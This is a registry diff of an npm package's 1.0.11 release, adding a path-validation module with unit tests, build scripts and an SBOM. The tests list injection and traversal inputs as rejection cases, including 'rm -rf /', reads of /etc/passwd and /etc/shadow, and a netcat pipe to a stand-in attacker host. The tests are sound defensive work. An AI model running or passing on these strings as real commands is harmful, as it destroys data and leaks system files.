beth-copilot 1.0.10 → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/beth-portrait-small.txt +13 -0
- package/assets/beth-portrait.txt +60 -0
- package/assets/beth-questioning.png +0 -0
- package/assets/yellowstone-beth.png +0 -0
- package/bin/beth-animation.sh +155 -0
- package/bin/cli.js +423 -12
- package/bin/lib/animation.js +189 -0
- package/bin/lib/pathValidation.js +233 -0
- package/bin/lib/pathValidation.test.js +280 -0
- package/package.json +9 -2
- package/sbom.json +129 -0
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Path validation utilities for user-supplied binary paths.
|
|
3
|
+
* Prevents path traversal attacks, injection, and execution of unintended binaries.
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
import { existsSync, statSync, accessSync, constants } from 'fs';
|
|
7
|
+
import { resolve, normalize, isAbsolute, basename, dirname } from 'path';
|
|
8
|
+
|
|
9
|
+
// Characters that could be used for shell injection
|
|
10
|
+
// Note: backslash is allowed as Windows path separator
|
|
11
|
+
const SHELL_INJECTION_CHARS = /[;&|`$(){}[\]<>!'"]/;
|
|
12
|
+
|
|
13
|
+
// Path traversal sequences
|
|
14
|
+
const TRAVERSAL_PATTERNS = [
|
|
15
|
+
/\.\.[/\\]/, // ../ or ..\
|
|
16
|
+
/[/\\]\.\.[/\\]/, // /../ or \..\
|
|
17
|
+
/[/\\]\.\.$/, // ends with /.. or \..
|
|
18
|
+
/^\.\.[/\\]/, // starts with ../ or ..\
|
|
19
|
+
/^\.\.$/, // just ".."
|
|
20
|
+
];
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Validation result type
|
|
24
|
+
* @typedef {Object} ValidationResult
|
|
25
|
+
* @property {boolean} valid - Whether the path is valid
|
|
26
|
+
* @property {string} [error] - Error message if invalid
|
|
27
|
+
* @property {string} [normalizedPath] - Normalized absolute path if valid
|
|
28
|
+
*/
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Check if a path contains traversal sequences
|
|
32
|
+
* @param {string} inputPath - The path to check
|
|
33
|
+
* @returns {boolean} - True if traversal sequences found
|
|
34
|
+
*/
|
|
35
|
+
export function containsTraversal(inputPath) {
|
|
36
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
return TRAVERSAL_PATTERNS.some(pattern => pattern.test(inputPath));
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
/**
|
|
44
|
+
* Check if a path contains shell injection characters
|
|
45
|
+
* @param {string} inputPath - The path to check
|
|
46
|
+
* @returns {boolean} - True if injection characters found
|
|
47
|
+
*/
|
|
48
|
+
export function containsShellInjection(inputPath) {
|
|
49
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
50
|
+
return false;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
return SHELL_INJECTION_CHARS.test(inputPath);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Check if a file exists and is executable
|
|
58
|
+
* @param {string} filePath - Absolute path to check
|
|
59
|
+
* @returns {{exists: boolean, executable: boolean}}
|
|
60
|
+
*/
|
|
61
|
+
export function checkExecutable(filePath) {
|
|
62
|
+
const result = { exists: false, executable: false };
|
|
63
|
+
|
|
64
|
+
try {
|
|
65
|
+
if (!existsSync(filePath)) {
|
|
66
|
+
return result;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
result.exists = true;
|
|
70
|
+
|
|
71
|
+
const stats = statSync(filePath);
|
|
72
|
+
if (!stats.isFile()) {
|
|
73
|
+
return result;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// On Windows, check file extension for executability
|
|
77
|
+
if (process.platform === 'win32') {
|
|
78
|
+
const executableExtensions = ['.exe', '.cmd', '.bat', '.com', '.ps1'];
|
|
79
|
+
const ext = filePath.toLowerCase().slice(filePath.lastIndexOf('.'));
|
|
80
|
+
result.executable = executableExtensions.includes(ext);
|
|
81
|
+
} else {
|
|
82
|
+
// On Unix, check execute permission
|
|
83
|
+
try {
|
|
84
|
+
accessSync(filePath, constants.X_OK);
|
|
85
|
+
result.executable = true;
|
|
86
|
+
} catch {
|
|
87
|
+
result.executable = false;
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
} catch {
|
|
91
|
+
// File access error
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
return result;
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
/**
|
|
98
|
+
* Validate a user-supplied binary path
|
|
99
|
+
* @param {string} inputPath - The path provided by the user
|
|
100
|
+
* @param {Object} [options] - Validation options
|
|
101
|
+
* @param {boolean} [options.requireAbsolute=false] - Require absolute path
|
|
102
|
+
* @param {boolean} [options.checkExists=true] - Check if file exists
|
|
103
|
+
* @param {boolean} [options.verifyExecutable=true] - Check if file is executable
|
|
104
|
+
* @param {string[]} [options.allowedBasenames] - If provided, only allow these binary names
|
|
105
|
+
* @returns {ValidationResult}
|
|
106
|
+
*/
|
|
107
|
+
export function validateBinaryPath(inputPath, options = {}) {
|
|
108
|
+
const {
|
|
109
|
+
requireAbsolute = false,
|
|
110
|
+
checkExists = true,
|
|
111
|
+
verifyExecutable = true,
|
|
112
|
+
allowedBasenames = null,
|
|
113
|
+
} = options;
|
|
114
|
+
|
|
115
|
+
// Basic type and empty check
|
|
116
|
+
if (!inputPath || typeof inputPath !== 'string') {
|
|
117
|
+
return { valid: false, error: 'Path cannot be empty' };
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// Trim whitespace
|
|
121
|
+
const trimmedPath = inputPath.trim();
|
|
122
|
+
if (trimmedPath.length === 0) {
|
|
123
|
+
return { valid: false, error: 'Path cannot be empty' };
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Length limit to prevent DoS
|
|
127
|
+
if (trimmedPath.length > 4096) {
|
|
128
|
+
return { valid: false, error: 'Path exceeds maximum length (4096 characters)' };
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// Check for null bytes (path injection)
|
|
132
|
+
if (trimmedPath.includes('\0')) {
|
|
133
|
+
return { valid: false, error: 'Path contains invalid characters (null byte)' };
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
// Check for path traversal
|
|
137
|
+
if (containsTraversal(trimmedPath)) {
|
|
138
|
+
return { valid: false, error: 'Path contains directory traversal sequences (../)' };
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// Check for shell injection characters
|
|
142
|
+
if (containsShellInjection(trimmedPath)) {
|
|
143
|
+
return {
|
|
144
|
+
valid: false,
|
|
145
|
+
error: 'Path contains potentially dangerous characters. Use an absolute path without special characters.'
|
|
146
|
+
};
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// Normalize the path
|
|
150
|
+
let normalizedPath;
|
|
151
|
+
try {
|
|
152
|
+
normalizedPath = normalize(trimmedPath);
|
|
153
|
+
|
|
154
|
+
// After normalization, check again for traversal (could be obfuscated)
|
|
155
|
+
if (containsTraversal(normalizedPath)) {
|
|
156
|
+
return { valid: false, error: 'Path resolves to a directory traversal' };
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// Resolve to absolute path
|
|
160
|
+
normalizedPath = resolve(normalizedPath);
|
|
161
|
+
} catch (err) {
|
|
162
|
+
return { valid: false, error: `Invalid path format: ${err.message}` };
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
// Check if absolute path is required
|
|
166
|
+
if (requireAbsolute && !isAbsolute(trimmedPath)) {
|
|
167
|
+
return { valid: false, error: 'Path must be an absolute path' };
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// Check allowed basenames (whitelist specific binaries)
|
|
171
|
+
if (allowedBasenames && allowedBasenames.length > 0) {
|
|
172
|
+
// Extract basename handling both Unix and Windows separators
|
|
173
|
+
// This is necessary because on Unix, basename() doesn't handle Windows paths
|
|
174
|
+
const pathParts = normalizedPath.split(/[\\/]/);
|
|
175
|
+
const name = pathParts[pathParts.length - 1] || '';
|
|
176
|
+
const nameWithoutExt = name.replace(/\.(exe|cmd|bat|com)$/i, '');
|
|
177
|
+
|
|
178
|
+
const allowed = allowedBasenames.some(allowedName => {
|
|
179
|
+
const allowedLower = allowedName.toLowerCase();
|
|
180
|
+
return name.toLowerCase() === allowedLower ||
|
|
181
|
+
nameWithoutExt.toLowerCase() === allowedLower;
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
if (!allowed) {
|
|
185
|
+
return {
|
|
186
|
+
valid: false,
|
|
187
|
+
error: `Binary '${name}' is not in the allowed list: ${allowedBasenames.join(', ')}`
|
|
188
|
+
};
|
|
189
|
+
}
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
// Check if file exists
|
|
193
|
+
if (checkExists) {
|
|
194
|
+
const execCheck = checkExecutable(normalizedPath);
|
|
195
|
+
|
|
196
|
+
if (!execCheck.exists) {
|
|
197
|
+
return { valid: false, error: `File not found: ${normalizedPath}` };
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Check if executable
|
|
201
|
+
if (verifyExecutable && !execCheck.executable) {
|
|
202
|
+
return { valid: false, error: `File is not executable: ${normalizedPath}` };
|
|
203
|
+
}
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
return { valid: true, normalizedPath };
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
/**
|
|
210
|
+
* Validate a binary path specifically for the beads (bd) CLI
|
|
211
|
+
* @param {string} inputPath - The path to validate
|
|
212
|
+
* @returns {ValidationResult}
|
|
213
|
+
*/
|
|
214
|
+
export function validateBeadsPath(inputPath) {
|
|
215
|
+
return validateBinaryPath(inputPath, {
|
|
216
|
+
checkExists: true,
|
|
217
|
+
verifyExecutable: true,
|
|
218
|
+
allowedBasenames: ['bd', 'bd.exe', 'bd.cmd'],
|
|
219
|
+
});
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
/**
|
|
223
|
+
* Validate a binary path specifically for the backlog CLI
|
|
224
|
+
* @param {string} inputPath - The path to validate
|
|
225
|
+
* @returns {ValidationResult}
|
|
226
|
+
*/
|
|
227
|
+
export function validateBacklogPath(inputPath) {
|
|
228
|
+
return validateBinaryPath(inputPath, {
|
|
229
|
+
checkExists: true,
|
|
230
|
+
verifyExecutable: true,
|
|
231
|
+
allowedBasenames: ['backlog', 'backlog.exe', 'backlog.cmd'],
|
|
232
|
+
});
|
|
233
|
+
}
|
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unit tests for path validation utilities.
|
|
3
|
+
* Run with: node --test bin/lib/pathValidation.test.js
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
import { describe, it, mock, beforeEach, afterEach } from 'node:test';
|
|
7
|
+
import assert from 'node:assert';
|
|
8
|
+
import { fileURLToPath } from 'url';
|
|
9
|
+
import { dirname, join } from 'path';
|
|
10
|
+
|
|
11
|
+
import {
|
|
12
|
+
containsTraversal,
|
|
13
|
+
containsShellInjection,
|
|
14
|
+
checkExecutable,
|
|
15
|
+
validateBinaryPath,
|
|
16
|
+
validateBeadsPath,
|
|
17
|
+
validateBacklogPath,
|
|
18
|
+
} from './pathValidation.js';
|
|
19
|
+
|
|
20
|
+
const __filename = fileURLToPath(import.meta.url);
|
|
21
|
+
const __dirname = dirname(__filename);
|
|
22
|
+
|
|
23
|
+
describe('containsTraversal', () => {
|
|
24
|
+
it('should detect ../ traversal', () => {
|
|
25
|
+
assert.strictEqual(containsTraversal('../file'), true);
|
|
26
|
+
assert.strictEqual(containsTraversal('path/../file'), true);
|
|
27
|
+
assert.strictEqual(containsTraversal('/path/../file'), true);
|
|
28
|
+
assert.strictEqual(containsTraversal('path/..'), true);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it('should detect ..\\ traversal (Windows)', () => {
|
|
32
|
+
assert.strictEqual(containsTraversal('..\\file'), true);
|
|
33
|
+
assert.strictEqual(containsTraversal('path\\..\\file'), true);
|
|
34
|
+
assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it('should detect standalone ..', () => {
|
|
38
|
+
assert.strictEqual(containsTraversal('..'), true);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('should allow normal paths', () => {
|
|
42
|
+
assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
|
|
43
|
+
assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
|
|
44
|
+
assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it('should allow paths with dots in filenames', () => {
|
|
48
|
+
assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
|
|
49
|
+
assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('should handle edge cases', () => {
|
|
53
|
+
assert.strictEqual(containsTraversal(''), false);
|
|
54
|
+
assert.strictEqual(containsTraversal(null), false);
|
|
55
|
+
assert.strictEqual(containsTraversal(undefined), false);
|
|
56
|
+
});
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
describe('containsShellInjection', () => {
|
|
60
|
+
it('should detect command chaining characters', () => {
|
|
61
|
+
assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
|
|
62
|
+
assert.strictEqual(containsShellInjection('/bin/bd && malicious'), true);
|
|
63
|
+
assert.strictEqual(containsShellInjection('/bin/bd | cat /etc/passwd'), true);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
it('should detect backticks and subshells', () => {
|
|
67
|
+
assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
|
|
68
|
+
assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
|
|
69
|
+
assert.strictEqual(containsShellInjection('/bin/${PATH}'), true);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it('should detect quotes', () => {
|
|
73
|
+
assert.strictEqual(containsShellInjection("/bin/bd'"), true);
|
|
74
|
+
assert.strictEqual(containsShellInjection('/bin/bd"'), true);
|
|
75
|
+
// Note: backslash is intentionally allowed for Windows path compatibility
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
it('should detect redirections', () => {
|
|
79
|
+
assert.strictEqual(containsShellInjection('/bin/bd > /tmp/out'), true);
|
|
80
|
+
assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
it('should allow normal paths', () => {
|
|
84
|
+
assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
|
|
85
|
+
assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
|
|
86
|
+
assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
|
|
87
|
+
assert.strictEqual(containsShellInjection('/path/with-dashes/and_underscores'), false);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
it('should handle edge cases', () => {
|
|
91
|
+
assert.strictEqual(containsShellInjection(''), false);
|
|
92
|
+
assert.strictEqual(containsShellInjection(null), false);
|
|
93
|
+
assert.strictEqual(containsShellInjection(undefined), false);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
describe('validateBinaryPath', () => {
|
|
98
|
+
describe('basic validation', () => {
|
|
99
|
+
it('should reject empty paths', () => {
|
|
100
|
+
assert.strictEqual(validateBinaryPath('').valid, false);
|
|
101
|
+
assert.strictEqual(validateBinaryPath(' ').valid, false);
|
|
102
|
+
assert.strictEqual(validateBinaryPath(null).valid, false);
|
|
103
|
+
assert.strictEqual(validateBinaryPath(undefined).valid, false);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it('should reject paths with traversal', () => {
|
|
107
|
+
const result = validateBinaryPath('../../../etc/passwd', { checkExists: false });
|
|
108
|
+
assert.strictEqual(result.valid, false);
|
|
109
|
+
assert.ok(result.error.includes('traversal'));
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it('should reject paths with shell injection', () => {
|
|
113
|
+
const result = validateBinaryPath('/bin/bd; rm -rf /', { checkExists: false });
|
|
114
|
+
assert.strictEqual(result.valid, false);
|
|
115
|
+
assert.ok(result.error.includes('dangerous'));
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it('should reject paths with null bytes', () => {
|
|
119
|
+
const result = validateBinaryPath('/bin/bd\0malicious', { checkExists: false });
|
|
120
|
+
assert.strictEqual(result.valid, false);
|
|
121
|
+
assert.ok(result.error.includes('null byte'));
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it('should reject excessively long paths', () => {
|
|
125
|
+
const longPath = '/bin/' + 'a'.repeat(5000);
|
|
126
|
+
const result = validateBinaryPath(longPath, { checkExists: false });
|
|
127
|
+
assert.strictEqual(result.valid, false);
|
|
128
|
+
assert.ok(result.error.includes('maximum length'));
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
describe('path normalization', () => {
|
|
133
|
+
it('should normalize valid paths', () => {
|
|
134
|
+
// Use a path that doesn't require existence check
|
|
135
|
+
const result = validateBinaryPath('/usr/local/bin/bd', { checkExists: false });
|
|
136
|
+
assert.strictEqual(result.valid, true);
|
|
137
|
+
assert.ok(result.normalizedPath);
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
describe('allowedBasenames validation', () => {
|
|
142
|
+
it('should reject paths with non-allowed basenames', () => {
|
|
143
|
+
const result = validateBinaryPath('/usr/bin/malicious', {
|
|
144
|
+
checkExists: false,
|
|
145
|
+
allowedBasenames: ['bd', 'backlog'],
|
|
146
|
+
});
|
|
147
|
+
assert.strictEqual(result.valid, false);
|
|
148
|
+
assert.ok(result.error.includes('not in the allowed list'));
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
it('should accept paths with allowed basenames', () => {
|
|
152
|
+
const result = validateBinaryPath('/usr/local/bin/bd', {
|
|
153
|
+
checkExists: false,
|
|
154
|
+
allowedBasenames: ['bd', 'backlog'],
|
|
155
|
+
});
|
|
156
|
+
assert.strictEqual(result.valid, true);
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
it('should handle Windows executable extensions', () => {
|
|
160
|
+
const result = validateBinaryPath('C:\\bin\\bd.exe', {
|
|
161
|
+
checkExists: false,
|
|
162
|
+
allowedBasenames: ['bd'],
|
|
163
|
+
});
|
|
164
|
+
assert.strictEqual(result.valid, true);
|
|
165
|
+
});
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
describe('existence and executable checks', () => {
|
|
169
|
+
it('should report file not found for non-existent paths', () => {
|
|
170
|
+
const result = validateBinaryPath('/this/path/definitely/does/not/exist/bd');
|
|
171
|
+
assert.strictEqual(result.valid, false);
|
|
172
|
+
assert.ok(result.error.includes('not found'));
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
it('should validate actual executable files', () => {
|
|
176
|
+
// Test with a file we know exists - the node binary
|
|
177
|
+
const nodePath = process.execPath;
|
|
178
|
+
const result = validateBinaryPath(nodePath, {
|
|
179
|
+
verifyExecutable: true,
|
|
180
|
+
allowedBasenames: null // Don't restrict basename for this test
|
|
181
|
+
});
|
|
182
|
+
assert.strictEqual(result.valid, true);
|
|
183
|
+
});
|
|
184
|
+
});
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
describe('validateBeadsPath', () => {
|
|
188
|
+
it('should reject non-bd binaries', () => {
|
|
189
|
+
const result = validateBeadsPath('/usr/bin/malicious');
|
|
190
|
+
assert.strictEqual(result.valid, false);
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
it('should reject paths with traversal even for bd', () => {
|
|
194
|
+
const result = validateBeadsPath('../../../usr/bin/bd');
|
|
195
|
+
assert.strictEqual(result.valid, false);
|
|
196
|
+
assert.ok(result.error.includes('traversal'));
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
it('should accept valid bd path format (if exists check disabled)', () => {
|
|
200
|
+
// This tests the validation logic, not file existence
|
|
201
|
+
// We'd need to mock fs for a complete test
|
|
202
|
+
const result = validateBeadsPath('/nonexistent/path/bd');
|
|
203
|
+
assert.strictEqual(result.valid, false);
|
|
204
|
+
assert.ok(result.error.includes('not found'));
|
|
205
|
+
});
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
describe('validateBacklogPath', () => {
|
|
209
|
+
it('should reject non-backlog binaries', () => {
|
|
210
|
+
const result = validateBacklogPath('/usr/bin/malicious');
|
|
211
|
+
assert.strictEqual(result.valid, false);
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
it('should reject paths with shell injection', () => {
|
|
215
|
+
const result = validateBacklogPath('/bin/backlog && rm -rf /');
|
|
216
|
+
assert.strictEqual(result.valid, false);
|
|
217
|
+
assert.ok(result.error.includes('dangerous'));
|
|
218
|
+
});
|
|
219
|
+
});
|
|
220
|
+
|
|
221
|
+
describe('checkExecutable', () => {
|
|
222
|
+
it('should return exists=false for non-existent files', () => {
|
|
223
|
+
const result = checkExecutable('/this/path/does/not/exist');
|
|
224
|
+
assert.strictEqual(result.exists, false);
|
|
225
|
+
assert.strictEqual(result.executable, false);
|
|
226
|
+
});
|
|
227
|
+
|
|
228
|
+
it('should detect executable files', () => {
|
|
229
|
+
// Test with the node binary (known to be executable)
|
|
230
|
+
const result = checkExecutable(process.execPath);
|
|
231
|
+
assert.strictEqual(result.exists, true);
|
|
232
|
+
assert.strictEqual(result.executable, true);
|
|
233
|
+
});
|
|
234
|
+
});
|
|
235
|
+
|
|
236
|
+
// Integration-style tests for attack scenarios
|
|
237
|
+
describe('attack scenario prevention', () => {
|
|
238
|
+
it('should prevent path traversal to system files', () => {
|
|
239
|
+
const attacks = [
|
|
240
|
+
'../../../etc/passwd',
|
|
241
|
+
'/home/user/../../../etc/passwd',
|
|
242
|
+
'..\\..\\..\\windows\\system32\\cmd.exe',
|
|
243
|
+
'/usr/bin/../../etc/shadow',
|
|
244
|
+
];
|
|
245
|
+
|
|
246
|
+
for (const attack of attacks) {
|
|
247
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
248
|
+
assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
|
|
249
|
+
}
|
|
250
|
+
});
|
|
251
|
+
|
|
252
|
+
it('should prevent command injection via path', () => {
|
|
253
|
+
const attacks = [
|
|
254
|
+
'/bin/bd; cat /etc/passwd',
|
|
255
|
+
'/bin/bd && rm -rf /',
|
|
256
|
+
'/bin/bd | nc attacker.com 4444',
|
|
257
|
+
'/bin/bd`whoami`',
|
|
258
|
+
'/bin/bd$(id)',
|
|
259
|
+
'/bin/bd > /tmp/output',
|
|
260
|
+
];
|
|
261
|
+
|
|
262
|
+
for (const attack of attacks) {
|
|
263
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
264
|
+
assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
|
|
265
|
+
}
|
|
266
|
+
});
|
|
267
|
+
|
|
268
|
+
it('should prevent null byte injection', () => {
|
|
269
|
+
const attacks = [
|
|
270
|
+
'/bin/bd\0.txt',
|
|
271
|
+
'/bin/\0bd',
|
|
272
|
+
'bd\0malicious',
|
|
273
|
+
];
|
|
274
|
+
|
|
275
|
+
for (const attack of attacks) {
|
|
276
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
277
|
+
assert.strictEqual(result.valid, false, `Should reject path with null byte`);
|
|
278
|
+
}
|
|
279
|
+
});
|
|
280
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "beth-copilot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.11",
|
|
4
4
|
"description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"github-copilot",
|
|
@@ -27,8 +27,15 @@
|
|
|
27
27
|
},
|
|
28
28
|
"files": [
|
|
29
29
|
"bin/",
|
|
30
|
-
"templates/"
|
|
30
|
+
"templates/",
|
|
31
|
+
"assets/",
|
|
32
|
+
"sbom.json"
|
|
31
33
|
],
|
|
34
|
+
"scripts": {
|
|
35
|
+
"test": "node --test bin/lib/*.test.js",
|
|
36
|
+
"sbom:generate": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format JSON",
|
|
37
|
+
"prepublishOnly": "npm run sbom:generate"
|
|
38
|
+
},
|
|
32
39
|
"engines": {
|
|
33
40
|
"node": ">=18"
|
|
34
41
|
},
|
package/sbom.json
ADDED
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
{
|
|
2
|
+
"$schema": "http://cyclonedx.org/schema/bom-1.6.schema.json",
|
|
3
|
+
"bomFormat": "CycloneDX",
|
|
4
|
+
"specVersion": "1.6",
|
|
5
|
+
"version": 1,
|
|
6
|
+
"serialNumber": "urn:uuid:eb42feb4-edf5-4986-8f30-8a0b9b8418d3",
|
|
7
|
+
"metadata": {
|
|
8
|
+
"timestamp": "2026-02-01T09:13:32.721Z",
|
|
9
|
+
"tools": {
|
|
10
|
+
"components": [
|
|
11
|
+
{
|
|
12
|
+
"type": "application",
|
|
13
|
+
"name": "npm",
|
|
14
|
+
"version": "10.8.2"
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"type": "application",
|
|
18
|
+
"name": "cyclonedx-npm",
|
|
19
|
+
"group": "@cyclonedx",
|
|
20
|
+
"version": "4.1.2",
|
|
21
|
+
"author": "Jan Kowalleck",
|
|
22
|
+
"description": "Create CycloneDX Software Bill of Materials (SBOM) from NPM projects.",
|
|
23
|
+
"licenses": [
|
|
24
|
+
{
|
|
25
|
+
"license": {
|
|
26
|
+
"id": "Apache-2.0"
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
],
|
|
30
|
+
"externalReferences": [
|
|
31
|
+
{
|
|
32
|
+
"url": "git+https://github.com/CycloneDX/cyclonedx-node-npm.git",
|
|
33
|
+
"type": "vcs",
|
|
34
|
+
"comment": "as detected from PackageJson property \"repository.url\""
|
|
35
|
+
},
|
|
36
|
+
{
|
|
37
|
+
"url": "https://github.com/CycloneDX/cyclonedx-node-npm#readme",
|
|
38
|
+
"type": "website",
|
|
39
|
+
"comment": "as detected from PackageJson property \"homepage\""
|
|
40
|
+
},
|
|
41
|
+
{
|
|
42
|
+
"url": "https://github.com/CycloneDX/cyclonedx-node-npm/issues",
|
|
43
|
+
"type": "issue-tracker",
|
|
44
|
+
"comment": "as detected from PackageJson property \"bugs.url\""
|
|
45
|
+
}
|
|
46
|
+
]
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
"type": "library",
|
|
50
|
+
"name": "cyclonedx-library",
|
|
51
|
+
"group": "@cyclonedx",
|
|
52
|
+
"version": "9.4.1",
|
|
53
|
+
"author": "Jan Kowalleck",
|
|
54
|
+
"description": "Core functionality of CycloneDX for JavaScript (Node.js or WebBrowser).",
|
|
55
|
+
"licenses": [
|
|
56
|
+
{
|
|
57
|
+
"license": {
|
|
58
|
+
"id": "Apache-2.0"
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
],
|
|
62
|
+
"externalReferences": [
|
|
63
|
+
{
|
|
64
|
+
"url": "git+https://github.com/CycloneDX/cyclonedx-javascript-library.git",
|
|
65
|
+
"type": "vcs",
|
|
66
|
+
"comment": "as detected from PackageJson property \"repository.url\""
|
|
67
|
+
},
|
|
68
|
+
{
|
|
69
|
+
"url": "https://github.com/CycloneDX/cyclonedx-javascript-library#readme",
|
|
70
|
+
"type": "website",
|
|
71
|
+
"comment": "as detected from PackageJson property \"homepage\""
|
|
72
|
+
},
|
|
73
|
+
{
|
|
74
|
+
"url": "https://github.com/CycloneDX/cyclonedx-javascript-library/issues",
|
|
75
|
+
"type": "issue-tracker",
|
|
76
|
+
"comment": "as detected from PackageJson property \"bugs.url\""
|
|
77
|
+
}
|
|
78
|
+
]
|
|
79
|
+
}
|
|
80
|
+
]
|
|
81
|
+
},
|
|
82
|
+
"component": {
|
|
83
|
+
"type": "application",
|
|
84
|
+
"name": "beth-copilot",
|
|
85
|
+
"version": "1.0.11",
|
|
86
|
+
"bom-ref": "beth-copilot@1.0.11",
|
|
87
|
+
"author": "Steph Schofield",
|
|
88
|
+
"description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
|
|
89
|
+
"licenses": [
|
|
90
|
+
{
|
|
91
|
+
"license": {
|
|
92
|
+
"id": "MIT",
|
|
93
|
+
"acknowledgement": "declared"
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
],
|
|
97
|
+
"purl": "pkg:npm/beth-copilot@1.0.11?vcs_url=git%2Bhttps%3A%2F%2Fgithub.com%2Fstephschofield%2Fbeth.git",
|
|
98
|
+
"externalReferences": [
|
|
99
|
+
{
|
|
100
|
+
"url": "git+https://github.com/stephschofield/beth.git",
|
|
101
|
+
"type": "vcs",
|
|
102
|
+
"comment": "as detected from PackageJson property \"repository.url\""
|
|
103
|
+
},
|
|
104
|
+
{
|
|
105
|
+
"url": "https://github.com/stephschofield/beth#readme",
|
|
106
|
+
"type": "website",
|
|
107
|
+
"comment": "as detected from PackageJson property \"homepage\""
|
|
108
|
+
},
|
|
109
|
+
{
|
|
110
|
+
"url": "https://github.com/stephschofield/beth/issues",
|
|
111
|
+
"type": "issue-tracker",
|
|
112
|
+
"comment": "as detected from PackageJson property \"bugs.url\""
|
|
113
|
+
}
|
|
